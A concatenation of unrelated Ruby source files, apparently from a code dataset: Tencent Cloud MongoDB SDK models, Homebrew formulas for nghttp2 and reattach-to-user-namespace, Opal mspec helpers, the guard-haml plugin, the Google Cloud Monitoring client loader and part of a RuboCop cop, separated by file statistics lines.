@ReplicaSetId = params['ReplicaSetId'] @ReplicaSetName = params['ReplicaSetName'] @Memory = params['Memory'] @Volume = params['Volume'] @OplogSize = params['OplogSize'] @SecondaryNum = params['SecondaryNum'] @RealReplicaSetId = params['RealReplicaSetId'] end end # 用于描述MongoDB数据库慢日志统计信息 class SlowLogPattern < TencentCloud::Common::AbstractModel # @param Pattern: 慢日志模式 # @type Pattern: String # @param MaxTime: 最大执行时间 # @type MaxTime: Integer # @param AverageTime: 平均执行时间 # @type AverageTime: Integer # @param Total: 该模式慢日志条数 # @type Total: Integer attr_accessor :Pattern, :MaxTime, :AverageTime, :Total def initialize(pattern=nil, maxtime=nil, averagetime=nil, total=nil) @Pattern = pattern @MaxTime = maxtime @AverageTime = averagetime @Total = total end def deserialize(params) @Pattern = params['Pattern'] @MaxTime = params['MaxTime'] @AverageTime = params['AverageTime'] @Total = params['Total'] end end # mongodb售卖规格 class SpecItem < TencentCloud::Common::AbstractModel # @param SpecCode: 规格信息标识 # @type SpecCode: String # @param Status: 规格有效标志,取值:0-停止售卖,1-开放售卖 # @type Status: Integer # @param Cpu: 规格有效标志,取值:0-停止售卖,1-开放售卖 # @type Cpu: Integer # @param Memory: 内存规格,单位为MB # @type Memory: Integer # @param DefaultStorage: 默认磁盘规格,单位MB # @type DefaultStorage: Integer # @param MaxStorage: 最大磁盘规格,单位MB # @type MaxStorage: Integer # @param MinStorage: 最小磁盘规格,单位MB # @type MinStorage: Integer # @param Qps: 可承载qps信息 # @type Qps: Integer # @param Conns: 连接数限制 # @type Conns: Integer # @param MongoVersionCode: 实例mongodb版本信息 # @type MongoVersionCode: String # @param MongoVersionValue: 实例mongodb版本号 # @type MongoVersionValue: Integer # @param Version: 实例mongodb版本号(短) # @type Version: String # @param EngineName: 存储引擎 # @type EngineName: String # @param ClusterType: 集群类型,取值:1-分片集群,0-副本集集群 # @type ClusterType: Integer # @param MinNodeNum: 最小副本集从节点数 # @type MinNodeNum: Integer # @param MaxNodeNum: 最大副本集从节点数 # @type MaxNodeNum: Integer # @param MinReplicateSetNum: 最小分片数 # @type MinReplicateSetNum: Integer # @param MaxReplicateSetNum: 最大分片数 # @type MaxReplicateSetNum: Integer # @param MinReplicateSetNodeNum: 最小分片从节点数 # @type MinReplicateSetNodeNum: Integer # @param MaxReplicateSetNodeNum: 最大分片从节点数 # @type MaxReplicateSetNodeNum: Integer # @param MachineType: 机器类型,取值:0-HIO,4-HIO10G # @type MachineType: String attr_accessor :SpecCode, :Status, :Cpu, :Memory, :DefaultStorage, :MaxStorage, :MinStorage, :Qps, :Conns, :MongoVersionCode, :MongoVersionValue, :Version, :EngineName, :ClusterType, :MinNodeNum, :MaxNodeNum, :MinReplicateSetNum, :MaxReplicateSetNum, :MinReplicateSetNodeNum, :MaxReplicateSetNodeNum, :MachineType def initialize(speccode=nil, status=nil, cpu=nil, memory=nil, defaultstorage=nil, maxstorage=nil, minstorage=nil, qps=nil, conns=nil, mongoversioncode=nil, mongoversionvalue=nil, version=nil, enginename=nil, clustertype=nil, minnodenum=nil, maxnodenum=nil, minreplicatesetnum=nil, maxreplicatesetnum=nil, minreplicatesetnodenum=nil, maxreplicatesetnodenum=nil, machinetype=nil) @SpecCode = speccode @Status = status @Cpu = cpu @Memory = memory @DefaultStorage = defaultstorage @MaxStorage = maxstorage @MinStorage = minstorage @Qps = qps @Conns = conns @MongoVersionCode = mongoversioncode @MongoVersionValue = mongoversionvalue @Version = version @EngineName = enginename @ClusterType = clustertype @MinNodeNum = minnodenum @MaxNodeNum = maxnodenum @MinReplicateSetNum = minreplicatesetnum @MaxReplicateSetNum = maxreplicatesetnum @MinReplicateSetNodeNum = minreplicatesetnodenum @MaxReplicateSetNodeNum = maxreplicatesetnodenum @MachineType = machinetype end def deserialize(params) @SpecCode = params['SpecCode'] @Status = params['Status'] @Cpu = params['Cpu'] @Memory = params['Memory'] @DefaultStorage = params['DefaultStorage'] @MaxStorage = params['MaxStorage'] @MinStorage = params['MinStorage'] @Qps = params['Qps'] @Conns = params['Conns'] @MongoVersionCode = params['MongoVersionCode'] @MongoVersionValue = params['MongoVersionValue'] @Version = params['Version'] @EngineName = params['EngineName'] @ClusterType = params['ClusterType'] @MinNodeNum = params['MinNodeNum'] @MaxNodeNum = params['MaxNodeNum'] @MinReplicateSetNum = params['MinReplicateSetNum'] @MaxReplicateSetNum = params['MaxReplicateSetNum'] @MinReplicateSetNodeNum = params['MinReplicateSetNodeNum'] @MaxReplicateSetNodeNum = params['MaxReplicateSetNodeNum'] @MachineType = params['MachineType'] end end # 实例规格信息 class SpecificationInfo < TencentCloud::Common::AbstractModel # @param Region: 地域信息 # @type Region: String # @param Zone: 可用区信息 # @type Zone: String # @param SpecItems: 售卖规格信息 # @type SpecItems: Array attr_accessor :Region, :Zone, :SpecItems def initialize(region=nil, zone=nil, specitems=nil) @Region = region @Zone = zone @SpecItems = specitems end def deserialize(params) @Region = params['Region'] @Zone = params['Zone'] @SpecItems = params['SpecItems'] end end # 实例标签信息 class TagInfo < TencentCloud::Common::AbstractModel # @param TagKey: 标签键 # @type TagKey: String # @param TagValue: 标签值 # @type TagValue: String attr_accessor :TagKey, :TagValue def initialize(tagkey=nil, tagvalue=nil) @TagKey = tagkey @TagValue = tagvalue end def deserialize(params) @TagKey = params['TagKey'] @TagValue = params['TagValue'] end end end end end
36.722587
634
0.618763
e228b8218a1216eda24c1562dfa2d360ba8d35f6
2,094
class Nghttp2 < Formula desc "HTTP/2 C Library" homepage "https://nghttp2.org/" url "https://github.com/nghttp2/nghttp2/releases/download/v1.41.0/nghttp2-1.41.0.tar.xz" sha256 "abc25b8dc601f5b3fefe084ce50fcbdc63e3385621bee0cbfa7b57f9ec3e67c2" bottle do sha256 "d81b96cf82189cd4049ff7fe400a4e5b05eed38029d34e8325b751e7b9f3d730" => :catalina sha256 "718a1b33f18b2b72b92110d2fb3f83e9ab6e4831f9bc2bdf7636757129104552" => :mojave sha256 "f56e7c923879fd77d7c9737395c7c5df1ab3e9ffa03baa900385b53a91469803" => :high_sierra sha256 "0f711a72b48a4aa4f55d041f1e6af92e9eacaed673c9d2ca4019754ab43d689c" => :x86_64_linux end head do url "https://github.com/nghttp2/nghttp2.git" depends_on "autoconf" => :build depends_on "automake" => :build depends_on "libtool" => :build end depends_on "cunit" => :build depends_on "pkg-config" => :build depends_on "sphinx-doc" => :build depends_on "c-ares" depends_on "jansson" depends_on "jemalloc" depends_on "libev" depends_on "libevent" depends_on "[email protected]" uses_from_macos "zlib" unless OS.mac? patch do # Fix: shrpx_api_downstream_connection.cc:57:3: error: # array must be initialized with a brace-enclosed initializer url "https://gist.githubusercontent.com/iMichka/5dda45fbad3e70f52a6b4e7dfd382969/raw/" \ "19797e17926922bdd1ef21a47e162d8be8e2ca65/nghttp2?full_index=1" sha256 "0759d448d4b419911c12fa7d5cbf1df2d6d41835c9077bf3accf9eac58f24f12" end end def install ENV.cxx11 args = %W[ --prefix=#{prefix} --disable-silent-rules --enable-app --disable-python-bindings --with-xml-prefix=/usr ] # requires thread-local storage features only available in 10.11+ args << "--disable-threads" if MacOS.version < :el_capitan system "autoreconf", "-ivf" if build.head? system "./configure", *args system "make" # Fails on Linux: system "make", "check" if OS.mac? system "make", "install" end test do system bin/"nghttp", "-nv", "https://nghttp2.org" end end
29.914286
94
0.7149
fffd79343491b78e7481e6b96302cf7c8625a553
3,754
require 'mspec-opal/formatters' class OSpecFilter def self.main @main ||= self.new end def initialize @filters = Set.new @seen = Set.new end def register if ENV['INVERT_RUNNING_MODE'] MSpec.register :include, self else MSpec.register :exclude, self end end def ===(description) @seen << description @filters.include?(description) end def register_filters(description, block) instance_eval(&block) end def fails(description) @filters << description end def fails_badly(description) if ENV['INVERT_RUNNING_MODE'] warn "WARNING: FAILS BADLY: Ignoring filter to avoid blocking the suite: #{description.inspect}" else @filters << description end end def unused_filters_message(list: false) unused = @filters - @seen return if unused.size == 0 if list puts puts "Unused filters:" unused.each {|u| puts " fails #{u.inspect}"} puts else warn "\nThere are #{unused.size} unused filters, re-run with ENV['LIST_UNUSED_FILTERS'] = true to list them\n\n" end end end class Object def opal_filter(description, &block) OSpecFilter.main.register_filters(description, block) end alias opal_unsupported_filter opal_filter end # MSpec relies on File.readable? to do method detection on backtraces class File def self.readable?(path) false end end class OSpecFormatter def self.main @main ||= self.new end def default_formatter formatters = { 'browser' => BrowserFormatter, 'server' => BrowserFormatter, 'chrome' => DottedFormatter, 'node' => NodeJSFormatter, 'nodejs' => NodeJSFormatter, 'gjs' => ColoredDottedFormatter, 'nodedoc' => NodeJSDocFormatter, 'nodejsdoc' => NodeJSDocFormatter, 'dotted' => DottedFormatter } formatter = formatters.fetch(ENV['FORMATTER']) do warn "Using the default 'dotted' formatter, set the FORMATTER env var to select a different formatter (was: #{ENV['FORMATTER'].inspect}, options: #{formatters.keys.join(", ")})" DottedFormatter end if ENV['INVERT_RUNNING_MODE'] formatter = Class.new(formatter) formatter.include InvertedFormatter end formatter end def register(formatter_class = default_formatter) formatter_class.new.register end end class OpalBM def self.main @main ||= self.new end def register(repeat, bm_filepath) `self.bm = {}` `self.bm_filepath = bm_filepath` MSpec.repeat = repeat MSpec.register :before, self MSpec.register :after, self MSpec.register :finish, self end def before(state = nil) %x{ if (self.bm && !self.bm.hasOwnProperty(state.description)) { self.bm[state.description] = {started: Date.now()}; } } end def after(state = nil) %x{ if (self.bm) { self.bm[state.description].stopped = Date.now(); } } end def finish %x{ var obj = self.bm, key, val, report = ''; if (obj) { for (key in obj) { if (obj.hasOwnProperty(key)) { val = obj[key]; report += key.replace(/\s/g, '_') + ' ' + ((val.stopped - val.started) / 1000) + '\n'; } } require('fs').writeFileSync(self.bm_filepath, report); } } end end module OutputSilencer def silence_stdout original_stdout = $stdout new_stdout = IO.new(1, 'w') new_stdout.write_proc = ->s{} begin $stdout = new_stdout yield ensure $stdout = original_stdout end end end OSpecFormatter.main.register OSpecFilter.main.register MSpec.enable_feature :encoding
21.699422
183
0.626265
4a050aa240f0f1002f3c510cfe2fb54621a8a328
1,305
require 'formula' class ReattachToUserNamespace < Formula homepage 'https://github.com/ChrisJohnsen/tmux-MacOSX-pasteboard' url 'https://github.com/ChrisJohnsen/tmux-MacOSX-pasteboard/archive/v2.3.tar.gz' sha1 '830d329992b294c2673ed240ee3c7786e4e06308' head 'https://github.com/ChrisJohnsen/tmux-MacOSX-pasteboard.git' option 'wrap-pbcopy-and-pbpaste', 'Include wrappers for pbcopy/pbpaste that shim in this fix' option 'wrap-launchctl', 'Include wrapper for launchctl with this fix' def install system "make" bin.install "reattach-to-user-namespace" wrap_pbpasteboard_commands if build.include? 'wrap-pbcopy-and-pbpaste' wrap_launchctl if build.include? 'wrap-launchctl' end def wrap_pbpasteboard_commands make_executable_with_content('pbcopy', 'cat - | reattach-to-user-namespace /usr/bin/pbcopy') make_executable_with_content('pbpaste', 'reattach-to-user-namespace /usr/bin/pbpaste') end def wrap_launchctl make_executable_with_content('launchctl', 'reattach-to-user-namespace /bin/launchctl "$@"') end def make_executable_with_content(executable_name, content_lines) executable = bin.join(executable_name) content = [*content_lines].unshift("#!/bin/sh").join("\n") executable.write(content) executable.chmod(0755) end end
36.25
96
0.76092
f8738fe2d8a3437b152a5450b175999287a2ddcc
437
class AttachQueryResultsToSearch def self.call(search) new(search).call end def initialize(search) @search = search end def call search.results = SaveResultsFromQuery.call(query) search.save! end private attr_reader :search def item_type search.to_item_type end def query query_class.new(name: search.name) end def query_class Query.const_get(item_type.name, false) end end
14.096774
53
0.704805
03feb05ea3646cd28099659febb310889b1e7b5a
1,137
require 'multi_json' require 'active_support/json' require 'active_support/core_ext/string' require 'ostruct' require 'awesome_print' class Speaker def initialize(first_name, last_name, email, about, company, tags, registered) @first_name = first_name @last_name = last_name @email = email @about = about @company = company @tags = tags @registered = registered end end speaker = Speaker.new('Larson', 'Richard', '[email protected]', 'Incididunt mollit cupidatat magna excepteur do tempor ex non ...', 'Ecratic', %w(JavaScript, AngularJS, Yeoman), true) json_speaker = ActiveSupport::JSON.encode(speaker) puts "speaker (using oj gem) = #{ActiveSupport::JSON.encode(speaker)}" puts ostruct_spkr = OpenStruct.new(ActiveSupport::JSON.decode(json_speaker)) speaker2 = Speaker.new(ostruct_spkr.first_name, ostruct_spkr.last_name, ostruct_spkr.email, ostruct_spkr.about, ostruct_spkr.company, ostruct_spkr.tags, ostruct_spkr.registered) puts "speaker 2 after ActiveSupport::JSON.decode()" ap speaker2 puts
30.72973
85
0.700967
d56b13ed32f8538afa7af70e6143574f9702b546
1,815
# This file is automatically generated by puppet-swagger-generator and # any manual changes are likely to be clobbered when the files # are regenerated. require_relative '../../puppet_x/puppetlabs/swagger/fuzzy_compare' Puppet::Type.newtype(:kubernetes_env_var_source) do @doc = "EnvVarSource represents a source for the value of an EnvVar." ensurable apply_to_all newparam(:name, namevar: true) do desc 'Name of the env_var_source.' end newproperty(:field_ref) do desc "Selects a field of the pod: supports metadata.name, metadata.namespace, metadata.labels, metadata.annotations, spec.nodeName, spec.serviceAccountName, status.hostIP, status.podIP." def insync?(is) PuppetX::Puppetlabs::Swagger::Utils::fuzzy_compare(is, should) end end newproperty(:resource_field_ref) do desc "Selects a resource of the container: only resources limits and requests (limits.cpu, limits.memory, limits.ephemeral-storage, requests.cpu, requests.memory and requests.ephemeral-storage) are currently supported." def insync?(is) PuppetX::Puppetlabs::Swagger::Utils::fuzzy_compare(is, should) end end newproperty(:config_map_key_ref) do desc "Selects a key of a ConfigMap." def insync?(is) PuppetX::Puppetlabs::Swagger::Utils::fuzzy_compare(is, should) end end newproperty(:secret_key_ref) do desc "Selects a key of a secret in the pod's namespace" def insync?(is) PuppetX::Puppetlabs::Swagger::Utils::fuzzy_compare(is, should) end end end
24.2
227
0.624242
03ef9ab992eee10d67692a9e8ce29acca399a63a
2,497
module Circuitdata class JsonValidator class JsonSchemaErrorParser class << self def translate_all(errors) errors.map(&method(:translate)).reject do |error| error[:problem] == "pattern_mismatch" && error[:pattern] == "^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$" end end def translate(error) additional_data = extract_data(error[:message], error[:failed_attribute]) if additional_data.nil? fail "Unhandled error: #{error.inspect}" end path = error[:fragment].gsub("#", "") { source_path: path, field: path.split("/").last, }.merge(additional_data) end def extract_data(message, failed_attribute) case failed_attribute when "Required" field = message.match(/of '(.*)'/)[1] if !field fail "Unable to extract field from #{message.inspect}" end return { field: field, problem: "required_property_missing" } when "TypeV4" if message.include?("did not match the following type") matches = message.match(/of type (\S*) did not match the following type: (\S*)/) actual, expected = matches[1..2] return { actual: actual, expected: expected, problem: "type_mismatch" } end when "AdditionalProperties" matches = message.match(/contains additional properties (\[.*\]) outside/) additional_properties = JSON.parse(matches[1]) return { additional_properties: additional_properties, problem: "additional_properties" } when "Enum" return { problem: "not_in_enum" } when "Pattern" regex = message.match(/did not match the regex '(\S*)' /)[1] return { problem: "pattern_mismatch", pattern: regex } when "Minimum" min = message.match(/did not have a minimum value of ([0-9\.])+, /)[1] return { problem: "min_not_met", expected: min } when "Maximum" min = message.match(/did not have a maximum value of ([0-9\.])+, /)[1] return { problem: "max_exceeded", expected: min } else if message.match?(/is not a uuid/) return { problem: "format_mismatch", expected: "uuid" } end end end end end end end
39.015625
101
0.547457
18bcbe50156395ffed7bfbc3cd708534ee1412ac
4,094
require 'haml' require 'haml2erb' require 'guard/compat/plugin' require 'guard/haml/notifier' module Guard class Haml < Plugin def initialize(opts = {}) @patterns = [] opts = { notifications: true, default_ext: 'erb', auto_append_file_ext: true, helper_modules: [] }.merge(opts) super(opts) end def start run_all if options[:run_at_start] end def stop true end def reload run_all end def run_all run_on_changes(Compat.matching_files(self, Dir.glob(File.join('**', '*.*')))) end def run_on_changes(paths) paths.each do |file| output_paths = _output_paths(file) compiled_haml = compile_haml2erb(file) output_paths.each do |output_file| FileUtils.mkdir_p File.dirname(output_file) File.open(output_file, 'w') { |f| f.write(compiled_haml) } end message = "Successfully compiled haml to erb\n" message += "# #{file} -> #{output_paths.join(', ')}".gsub("#{::Bundler.root}/", '') Compat::UI.info message Notifier.notify(true, message) if options[:notifications] end end private def compile_haml2erb(file) content = File.new(file).read ::Haml2Erb.convert(content) rescue StandardError => error message = "HAML compilation of #{file} failed!\nError: #{error.message}" Compat::UI.error message Notifier.notify(false, message) if options[:notifications] throw :task_has_failed end def compile_haml(file) content = File.new(file).read engine = ::Haml::Engine.new(content, (options[:haml_options] || {})) engine.render scope_object rescue StandardError => error message = "HAML compilation of #{file} failed!\nError: #{error.message}" Compat::UI.error message Notifier.notify(false, message) if options[:notifications] throw :task_has_failed end def scope_object scope = Object.new @options[:helper_modules].each do |mod| scope.extend mod end scope end # Get the file path to output the html based on the file being # built. The output path is relative to where guard is being run. # # @param file [String, Array<String>] path to file being built # @return [Array<String>] path(s) to file where output should be written # def _output_paths(file) input_file_dir = File.dirname(file) file_name = _output_filename(file) file_name = "#{file_name}.erb" if _append_html_ext_to_output_path?(file_name) input_file_dir = input_file_dir.gsub(Regexp.new("#{options[:input]}(\/){0,1}"), '') if options[:input] if options[:output] Array(options[:output]).map do |output_dir| File.join(output_dir, input_file_dir, file_name) end else if input_file_dir == '' [file_name] else [File.join(input_file_dir, file_name)] end end end # Generate a file name based on the provided file path. # Provide a logical extension. # # Examples: # "path/foo.haml" -> "foo.html" # "path/foo" -> "foo.html" # "path/foo.bar" -> "foo.bar.html" # "path/foo.bar.haml" -> "foo.bar" # # @param file String path to file # @return String file name including extension # def _output_filename(file) sub_strings = File.basename(file).split('.') base_name, extensions = sub_strings.first, sub_strings[1..-1] if extensions.last == 'haml' extensions.pop if extensions.empty? [base_name, options[:default_ext]].join('.') else [base_name, extensions].flatten.join('.') end else [base_name, extensions, options[:default_ext]].flatten.compact.join('.') end end def _append_html_ext_to_output_path?(filename) return unless options[:auto_append_file_ext] filename.match("\.erb?").nil? end end end
27.85034
108
0.609917
9168c9ad801029524b3960b28c18abd6e1d5c8a7
16,268
# frozen_string_literal: true # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # Auto-generated by gapic-generator-ruby. DO NOT EDIT! # Require this file early so that the version constant gets defined before # requiring "google/cloud". This is because google-cloud-core will load the # entrypoint (gem name) file, which in turn re-requires this file (hence # causing a require cycle) unless the version constant is already defined. require "google/cloud/monitoring/version" require "googleauth" gem "google-cloud-core" require "google/cloud" unless defined? ::Google::Cloud.new require "google/cloud/config" # Set the default configuration ::Google::Cloud.configure.add_config! :monitoring do |config| config.add_field! :endpoint, "monitoring.googleapis.com", match: ::String config.add_field! :credentials, nil, match: [::String, ::Hash, ::Google::Auth::Credentials] config.add_field! :scope, nil, match: [::Array, ::String] config.add_field! :lib_name, nil, match: ::String config.add_field! :lib_version, nil, match: ::String config.add_field! :interceptors, nil, match: ::Array config.add_field! :timeout, nil, match: ::Numeric config.add_field! :metadata, nil, match: ::Hash config.add_field! :retry_policy, nil, match: [::Hash, ::Proc] config.add_field! :quota_project, nil, match: ::String end module Google module Cloud module Monitoring ## # Create a new client object for AlertPolicyService. # # By default, this returns an instance of # [Google::Cloud::Monitoring::V3::AlertPolicyService::Client](https://googleapis.dev/ruby/google-cloud-monitoring-v3/latest/Google/Cloud/Monitoring/V3/AlertPolicyService/Client.html) # for version V3 of the API. # However, you can specify specify a different API version by passing it in the # `version` parameter. If the AlertPolicyService service is # supported by that API version, and the corresponding gem is available, the # appropriate versioned client will be returned. # # ## About AlertPolicyService # # The AlertPolicyService API is used to manage (list, create, delete, # edit) alert policies in Stackdriver Monitoring. An alerting policy is # a description of the conditions under which some aspect of your # system is considered to be "unhealthy" and the ways to notify # people or services about this state. In addition to using this API, alert # policies can also be managed through # [Stackdriver Monitoring](https://cloud.google.com/monitoring/docs/), # which can be reached by clicking the "Monitoring" tab in # [Cloud Console](https://console.cloud.google.com/). # # @param version [::String, ::Symbol] The API version to connect to. Optional. # Defaults to `:v3`. # @return [AlertPolicyService::Client] A client object for the specified version. # def self.alert_policy_service version: :v3, &block require "google/cloud/monitoring/#{version.to_s.downcase}" package_name = Google::Cloud::Monitoring .constants .select { |sym| sym.to_s.downcase == version.to_s.downcase.tr("_", "") } .first package_module = Google::Cloud::Monitoring.const_get package_name package_module.const_get(:AlertPolicyService).const_get(:Client).new(&block) end ## # Create a new client object for GroupService. # # By default, this returns an instance of # [Google::Cloud::Monitoring::V3::GroupService::Client](https://googleapis.dev/ruby/google-cloud-monitoring-v3/latest/Google/Cloud/Monitoring/V3/GroupService/Client.html) # for version V3 of the API. # However, you can specify specify a different API version by passing it in the # `version` parameter. If the GroupService service is # supported by that API version, and the corresponding gem is available, the # appropriate versioned client will be returned. # # ## About GroupService # # The Group API lets you inspect and manage your # [groups](#google.monitoring.v3.Group). # # A group is a named filter that is used to identify # a collection of monitored resources. Groups are typically used to # mirror the physical and/or logical topology of the environment. # Because group membership is computed dynamically, monitored # resources that are started in the future are automatically placed # in matching groups. By using a group to name monitored resources in, # for example, an alert policy, the target of that alert policy is # updated automatically as monitored resources are added and removed # from the infrastructure. # # @param version [::String, ::Symbol] The API version to connect to. Optional. # Defaults to `:v3`. # @return [GroupService::Client] A client object for the specified version. # def self.group_service version: :v3, &block require "google/cloud/monitoring/#{version.to_s.downcase}" package_name = Google::Cloud::Monitoring .constants .select { |sym| sym.to_s.downcase == version.to_s.downcase.tr("_", "") } .first package_module = Google::Cloud::Monitoring.const_get package_name package_module.const_get(:GroupService).const_get(:Client).new(&block) end ## # Create a new client object for MetricService. # # By default, this returns an instance of # [Google::Cloud::Monitoring::V3::MetricService::Client](https://googleapis.dev/ruby/google-cloud-monitoring-v3/latest/Google/Cloud/Monitoring/V3/MetricService/Client.html) # for version V3 of the API. # However, you can specify specify a different API version by passing it in the # `version` parameter. If the MetricService service is # supported by that API version, and the corresponding gem is available, the # appropriate versioned client will be returned. # # ## About MetricService # # Manages metric descriptors, monitored resource descriptors, and # time series data. # # @param version [::String, ::Symbol] The API version to connect to. Optional. # Defaults to `:v3`. # @return [MetricService::Client] A client object for the specified version. # def self.metric_service version: :v3, &block require "google/cloud/monitoring/#{version.to_s.downcase}" package_name = Google::Cloud::Monitoring .constants .select { |sym| sym.to_s.downcase == version.to_s.downcase.tr("_", "") } .first package_module = Google::Cloud::Monitoring.const_get package_name package_module.const_get(:MetricService).const_get(:Client).new(&block) end ## # Create a new client object for NotificationChannelService. # # By default, this returns an instance of # [Google::Cloud::Monitoring::V3::NotificationChannelService::Client](https://googleapis.dev/ruby/google-cloud-monitoring-v3/latest/Google/Cloud/Monitoring/V3/NotificationChannelService/Client.html) # for version V3 of the API. # However, you can specify specify a different API version by passing it in the # `version` parameter. If the NotificationChannelService service is # supported by that API version, and the corresponding gem is available, the # appropriate versioned client will be returned. # # ## About NotificationChannelService # # The Notification Channel API provides access to configuration that # controls how messages related to incidents are sent. # # @param version [::String, ::Symbol] The API version to connect to. Optional. # Defaults to `:v3`. # @return [NotificationChannelService::Client] A client object for the specified version. # def self.notification_channel_service version: :v3, &block require "google/cloud/monitoring/#{version.to_s.downcase}" package_name = Google::Cloud::Monitoring .constants .select { |sym| sym.to_s.downcase == version.to_s.downcase.tr("_", "") } .first package_module = Google::Cloud::Monitoring.const_get package_name package_module.const_get(:NotificationChannelService).const_get(:Client).new(&block) end ## # Create a new client object for QueryService. # # By default, this returns an instance of # [Google::Cloud::Monitoring::V3::QueryService::Client](https://googleapis.dev/ruby/google-cloud-monitoring-v3/latest/Google/Cloud/Monitoring/V3/QueryService/Client.html) # for version V3 of the API. # However, you can specify specify a different API version by passing it in the # `version` parameter. If the QueryService service is # supported by that API version, and the corresponding gem is available, the # appropriate versioned client will be returned. # # ## About QueryService # # The QueryService API is used to manage time series data in Stackdriver # Monitoring. Time series data is a collection of data points that describes # the time-varying values of a metric. # # @param version [::String, ::Symbol] The API version to connect to. Optional. # Defaults to `:v3`. # @return [QueryService::Client] A client object for the specified version. # def self.query_service version: :v3, &block require "google/cloud/monitoring/#{version.to_s.downcase}" package_name = Google::Cloud::Monitoring .constants .select { |sym| sym.to_s.downcase == version.to_s.downcase.tr("_", "") } .first package_module = Google::Cloud::Monitoring.const_get package_name package_module.const_get(:QueryService).const_get(:Client).new(&block) end ## # Create a new client object for ServiceMonitoringService. # # By default, this returns an instance of # [Google::Cloud::Monitoring::V3::ServiceMonitoringService::Client](https://googleapis.dev/ruby/google-cloud-monitoring-v3/latest/Google/Cloud/Monitoring/V3/ServiceMonitoringService/Client.html) # for version V3 of the API. # However, you can specify specify a different API version by passing it in the # `version` parameter. If the ServiceMonitoringService service is # supported by that API version, and the corresponding gem is available, the # appropriate versioned client will be returned. # # ## About ServiceMonitoringService # # The Cloud Monitoring Service-Oriented Monitoring API has endpoints for # managing and querying aspects of a workspace's services. These include the # `Service`'s monitored resources, its Service-Level Objectives, and a taxonomy # of categorized Health Metrics. # # @param version [::String, ::Symbol] The API version to connect to. Optional. # Defaults to `:v3`. # @return [ServiceMonitoringService::Client] A client object for the specified version. # def self.service_monitoring_service version: :v3, &block require "google/cloud/monitoring/#{version.to_s.downcase}" package_name = Google::Cloud::Monitoring .constants .select { |sym| sym.to_s.downcase == version.to_s.downcase.tr("_", "") } .first package_module = Google::Cloud::Monitoring.const_get package_name package_module.const_get(:ServiceMonitoringService).const_get(:Client).new(&block) end ## # Create a new client object for UptimeCheckService. # # By default, this returns an instance of # [Google::Cloud::Monitoring::V3::UptimeCheckService::Client](https://googleapis.dev/ruby/google-cloud-monitoring-v3/latest/Google/Cloud/Monitoring/V3/UptimeCheckService/Client.html) # for version V3 of the API. # However, you can specify specify a different API version by passing it in the # `version` parameter. If the UptimeCheckService service is # supported by that API version, and the corresponding gem is available, the # appropriate versioned client will be returned. # # ## About UptimeCheckService # # The UptimeCheckService API is used to manage (list, create, delete, edit) # Uptime check configurations in the Stackdriver Monitoring product. An Uptime # check is a piece of configuration that determines which resources and # services to monitor for availability. These configurations can also be # configured interactively by navigating to the [Cloud Console] # (http://console.cloud.google.com), selecting the appropriate project, # clicking on "Monitoring" on the left-hand side to navigate to Stackdriver, # and then clicking on "Uptime". # # @param version [::String, ::Symbol] The API version to connect to. Optional. # Defaults to `:v3`. # @return [UptimeCheckService::Client] A client object for the specified version. # def self.uptime_check_service version: :v3, &block require "google/cloud/monitoring/#{version.to_s.downcase}" package_name = Google::Cloud::Monitoring .constants .select { |sym| sym.to_s.downcase == version.to_s.downcase.tr("_", "") } .first package_module = Google::Cloud::Monitoring.const_get package_name package_module.const_get(:UptimeCheckService).const_get(:Client).new(&block) end ## # Configure the google-cloud-monitoring library. # # The following configuration parameters are supported: # # * `credentials` (*type:* `String, Hash, Google::Auth::Credentials`) - # The path to the keyfile as a String, the contents of the keyfile as a # Hash, or a Google::Auth::Credentials object. # * `lib_name` (*type:* `String`) - # The library name as recorded in instrumentation and logging. # * `lib_version` (*type:* `String`) - # The library version as recorded in instrumentation and logging. # * `interceptors` (*type:* `Array<GRPC::ClientInterceptor>`) - # An array of interceptors that are run before calls are executed. # * `timeout` (*type:* `Numeric`) - # Default timeout in seconds. # * `metadata` (*type:* `Hash{Symbol=>String}`) - # Additional gRPC headers to be sent with the call. # * `retry_policy` (*type:* `Hash`) - # The retry policy. The value is a hash with the following keys: # * `:initial_delay` (*type:* `Numeric`) - The initial delay in seconds. # * `:max_delay` (*type:* `Numeric`) - The max delay in seconds. # * `:multiplier` (*type:* `Numeric`) - The incremental backoff multiplier. # * `:retry_codes` (*type:* `Array<String>`) - # The error codes that should trigger a retry. # # @return [::Google::Cloud::Config] The default configuration used by this library # def self.configure yield ::Google::Cloud.configure.monitoring if block_given? ::Google::Cloud.configure.monitoring end end end end helper_path = ::File.join __dir__, "monitoring", "helpers.rb" require "google/cloud/monitoring/helpers" if ::File.file? helper_path
49.446809
204
0.6664
f743ebc21b4a914b4ea45a11ba621f98fb2d6246
339
class Client < ApplicationRecord has_secure_password has_one :account validates :email, presence: true, uniqueness: true validates :email, format: {with: URI::MailTo::EMAIL_REGEXP} validates :password, length: {minimum: 6}, if: -> {new_record? || !password.nil?} validates_presence_of :name, :email, :cpf, :password_digest end
37.666667
83
0.740413
1a47cd970639219322febd25eb52fe6b2b9a51b9
2,019
# frozen_string_literal: true module RuboCop module Cop module Style # This cop check for uses of `Object#freeze` on immutable objects. # # NOTE: Regexp and Range literals are frozen objects since Ruby 3.0. # # @example # # bad # CONST = 1.freeze # # # good # CONST = 1 class RedundantFreeze < Base extend AutoCorrector include FrozenStringLiteral MSG = 'Do not freeze immutable objects, as freezing them has no ' \ 'effect.' RESTRICT_ON_SEND = %i[freeze].freeze def on_send(node) return unless node.receiver && (immutable_literal?(node.receiver) || operation_produces_immutable_object?(node.receiver)) add_offense(node) do |corrector| corrector.remove(node.loc.dot) corrector.remove(node.loc.selector) end end private def immutable_literal?(node) node = strip_parenthesis(node) return true if node.immutable_literal? return true if FROZEN_STRING_LITERAL_TYPES.include?(node.type) && frozen_string_literals_enabled? target_ruby_version >= 3.0 && (node.regexp_type? || node.range_type?) end def strip_parenthesis(node) if node.begin_type? && node.children.first node.children.first else node end end def_node_matcher :operation_produces_immutable_object?, <<~PATTERN { (begin (send {float int} {:+ :- :* :** :/ :% :<<} _)) (begin (send !{(str _) array} {:+ :- :* :** :/ :%} {float int})) (begin (send _ {:== :=== 